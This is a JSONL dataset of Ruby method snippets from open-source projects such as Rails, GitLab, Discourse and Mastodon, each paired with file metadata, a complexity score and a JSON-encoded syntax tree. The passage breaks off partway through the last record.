{"repo_name":"haml","file_path":"./repos/haml/test/haml/template_test.rb","start_line":346,"raw_source":"def test_xss_protection_with_nested_haml_tag; skip\n    assert_equal(<<HTML, render(<<HAML, :action_view))\n<div>\n  <ul>\n    <li>Content!</li>\n  </ul>\n</div>\nHTML\n- haml_tag :div do\n  - haml_tag :ul do\n    - haml_tag :li, \"Content!\"\nHAML\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_xss_protection_with_nested_haml_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<div>\\n\"]},{\"type\":\"str\",\"children\":[\"  <ul>\\n\"]},{\"type\":\"str\",\"children\":[\"    <li>Content!</li>\\n\"]},{\"type\":\"str\",\"children\":[\"  </ul>\\n\"]},{\"type\":\"str\",\"children\":[\"</div>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- haml_tag :div do\\n\"]},{\"type\":\"str\",\"children\":[\"  - haml_tag :ul do\\n\"]},{\"type\":\"str\",\"children\":[\"    - haml_tag :li, \\\"Content!\\\"\\n\"]}]},{\"type\":\"sym\",\"children\":[\"action_view\"]}]}]}]}]}","id":"9a910d3c-dbda-4ce9-86ef-705222993cbb"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/rate_limiting/base.rb","start_line":72,"raw_source":"def session_id(env)\n        return if session_cookie_name.nil?\n\n        String(env[\"HTTP_COOKIE\"]).scan(/#{session_cookie_name}=([^;]+)/).flatten.first\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"session_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_cookie_name\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"String\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_COOKIE\"]}]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_cookie_name\"]}]},{\"type\":\"str\",\"children\":[\"=([^;]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]}]}","id":"db27ac64-e31d-48b5-8a27-936a8b05861d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/build/stop.rb","start_line":12,"raw_source":"def has_action?\n            can?(user, :play_job, subject)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_action?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"sym\",\"children\":[\"play_job\"]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}","id":"74f2c6ca-c397-47d3-b0ff-e3614728bcb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/web_hooks/web_hooks_helper.rb","start_line":5,"raw_source":"def show_project_hook_failed_callout?(project:)\n      return false if project_hook_page?\n\n      show_hook_failed_callout?(project)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show_project_hook_failed_callout?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_hook_page?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"show_hook_failed_callout?\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"3121ad36-6c1c-4622-979d-112987ef9dae"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1347,"raw_source":"def v_datastore_path\n    datastorepath = location || \"\"\n    storage ? \"#{storage.name}/#{datastorepath}\" : datastorepath\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"v_datastore_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"datastorepath\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastorepath\"]}]}]},{\"type\":\"lvar\",\"children\":[\"datastorepath\"]}]}]}]}","id":"b8a9e284-9e47-4e06-b6f8-cc36e2ff099f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template_ansible_playbook.rb","start_line":83,"raw_source":"def update_catalog_item(options, auth_user = nil)\n    config_info = validate_update_config_info(options)\n    unless config_info\n      update!(options)\n      return reload\n    end\n\n    config_info.deep_merge!(create_dialogs(config_info))\n\n    options[:config_info] = config_info\n\n    super\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_catalog_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"optarg\",\"children\":[\"auth_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_info\",{\"type\":\"send\",\"children\":[null,\"validate_update_config_info\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_info\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reload\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_info\"]},\"deep_merge!\",{\"type\":\"send\",\"children\":[null,\"create_dialogs\",{\"type\":\"lvar\",\"children\":[\"config_info\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"config_info\"]},{\"type\":\"lvar\",\"children\":[\"config_info\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"479f1ad0-f8d9-4f28-a851-61fec9490706"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/channel/email.rb","start_line":77,"raw_source":"def ensure_forward_to_email\n    self.forward_to_email ||= \"#{SecureRandom.hex}@#{account.inbound_email_domain}\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_forward_to_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"forward_to_email\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"inbound_email_domain\"]}]}]}]}]}","id":"fb1323d7-6dfc-4103-a9e2-9eb9d42fc670"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/work_packages_page.rb","start_line":71,"raw_source":"def click_toolbar_button(button)\n    close_toasters\n    find(\".toolbar-container\", wait: 5).click_button button\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"click_toolbar_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"button\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"close_toasters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".toolbar-container\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},\"click_button\",{\"type\":\"lvar\",\"children\":[\"button\"]}]}]}]}","id":"36d5ad7d-dd8c-4bc1-bd61-8aeea044789d"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":209,"raw_source":"def redirect_permanently_to(url = nil, **args)\n    if url\n      redirect_to(url + internal_nav_param, status: :moved_permanently)\n    else\n      redirect_to(args.merge({ i: params[:i] }), status: :moved_permanently)\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_permanently_to\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"url\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"internal_nav_param\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"moved_permanently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"i\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"moved_permanently\"]}]}]}]}]}]}","id":"1bfb9f1c-eab6-49fd-8f7c-d723bbb3fdba"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/naming.rb","start_line":290,"raw_source":"def self.singular(record_or_class)\n      model_name_from_record_or_class(record_or_class).singular\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"singular\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record_or_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_name_from_record_or_class\",{\"type\":\"lvar\",\"children\":[\"record_or_class\"]}]},\"singular\"]}]}","id":"d68e4e73-dc34-49b0-8d3b-f3049ca3ef07"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/note_serializer.rb","start_line":183,"raw_source":"def poll_and_multiple?\n    object.preloadable_poll&.multiple?\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"poll_and_multiple?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"preloadable_poll\"]},\"multiple?\"]}]}","id":"0dc0b911-7fcd-4b5f-a45b-86c201bb5b7f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_api_key.rb","start_line":57,"raw_source":"def self.allowed_scopes\n    Set.new(SiteSetting.allow_user_api_key_scopes.split(\"|\"))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"allowed_scopes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"allow_user_api_key_scopes\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]}","id":"a33c4feb-2eec-4673-8a7b-b33f1f50be6d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/install_on_device.rb","start_line":32,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :extra,\n                                       short_option: \"-X\",\n                                       env_name: \"FL_IOD_EXTRA\",\n                                       description: \"Extra Command-line arguments passed to ios-deploy\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :device_id,\n                                       short_option: \"-d\",\n                                       env_name: \"FL_IOD_DEVICE_ID\",\n                                       description: \"id of the device / if not set defaults to first found device\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :skip_wifi,\n                                       short_option: \"-w\",\n                                       env_name: \"FL_IOD_WIFI\",\n                                       description: \"Do not search for devices via WiFi\",\n                                       optional: true,\n                                       type: Boolean),\n          FastlaneCore::ConfigItem.new(key: :ipa,\n                                       short_option: \"-i\",\n                                       env_name: \"FL_IOD_IPA\",\n                                       description: \"The IPA file to put on the device\",\n                                       optional: true,\n                                       default_value: Actions.lane_context[SharedValues::IPA_OUTPUT_PATH] || Dir[\"*.ipa\"].first,\n                                       default_value_dynamic: true,\n                                       verify_block: proc do |value|\n                                         unless Helper.test?\n                                           UI.user_error!(\"Could not find ipa file at path '#{value}'\") unless File.exist?(value)\n                                           UI.user_error!(\"'#{value}' doesn't seem to be an ipa file\") unless value.end_with?(\".ipa\")\n                                         end\n                                       end)\n        ]\n      end","complexity_score":25.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"extra\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-X\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_IOD_EXTRA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Extra Command-line arguments passed to ios-deploy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"device_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-d\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_IOD_DEVICE_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"id of the device / if not set defaults to first found device\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"skip_wifi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-w\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_IOD_WIFI\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Do not search for devices via WiFi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"ipa\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_IOD_IPA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The IPA file to put on the device\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"IPA_OUTPUT_PATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"str\",\"children\":[\"*.ipa\"]}]},\"first\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"test?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find ipa file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".ipa\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"' doesn't seem to be an ipa file\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"cd1a99e1-14ff-43d5-b1a5-6c42c4a0c478"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/merge_requests/merge_requests_spec.rb","start_line":64,"raw_source":"def expect_mr_response(merge_requests, node_path:)\n    merge_requests ||= []\n    nodes = graphql_data.dig(*node_path)\n    actual_merge_requests = nodes.pluck('id')\n    expected_merge_requests = merge_requests.map { |merge_request| merge_request.to_global_id.to_s }\n\n    expect(actual_merge_requests).to contain_exactly(*expected_merge_requests)\n    expect(graphql_errors).to be_nil\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_mr_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_requests\"]},{\"type\":\"kwarg\",\"children\":[\"node_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_requests\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"nodes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_data\"]},\"dig\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_merge_requests\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"pluck\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_merge_requests\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_requests\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"to_global_id\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"actual_merge_requests\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"contain_exactly\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_merge_requests\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"graphql_errors\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}]}","id":"ee80f628-da47-4cd3-b03f-8331e2c2a224"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerbase.rb","start_line":266,"raw_source":"def replace_embedded_attachments(raw, user_id)\n    paths = []\n    upload_ids = []\n\n    raw =\n      raw.gsub(EMBEDDED_IMAGE_REGEX) do\n        path = File.join(@path, Regexp.last_match[\"path\"])\n        filename = File.basename(path)\n        path = find_image_path(filename)\n\n        if path\n          upload = @uploader.create_upload(user_id, path, filename)\n\n          if upload.present? && upload.persisted?\n            paths << path\n            upload_ids << upload.id\n            @uploader.html_for_upload(upload, filename)\n          end\n        else\n          STDERR.puts \"Could not find file: #{path}\"\n        end\n      end\n\n    [raw, paths, upload_ids]\n  end","complexity_score":32.9,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_embedded_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub\",{\"type\":\"const\",\"children\":[null,\"EMBEDDED_IMAGE_REGEX\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"find_image_path\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uploader\"]},\"create_upload\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"persisted?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uploader\"]},\"html_for_upload\",{\"type\":\"lvar\",\"children\":[\"upload\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"paths\"]},{\"type\":\"lvar\",\"children\":[\"upload_ids\"]}]}]}]}","id":"8df611ed-b3c2-4521-9706-c846612ef3c9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/callbacks_test.rb","start_line":345,"raw_source":"def test_destroy\n    david = CallbackDeveloper.find(1)\n    david.destroy\n    assert_equal [\n      [ :after_find,            :method ],\n      [ :after_find,            :proc   ],\n      [ :after_find,            :object ],\n      [ :after_find,            :block  ],\n      [ :after_initialize,            :method ],\n      [ :after_initialize,            :proc   ],\n      [ :after_initialize,            :object ],\n      [ :after_initialize,            :block  ],\n      [ :before_destroy,              :method ],\n      [ :before_destroy,              :proc   ],\n      [ :before_destroy,              :object ],\n      [ :before_destroy,              :block  ],\n      [ :after_destroy,               :method ],\n      [ :after_destroy,               :proc   ],\n      [ :after_destroy,               :object ],\n      [ :after_destroy,               :block  ],\n      [ :after_commit,                :block  ],\n      [ :after_commit,                :object ],\n      [ :after_commit,                :proc   ],\n      [ :after_commit,                :method ]\n    ], david.history\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CallbackDeveloper\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"a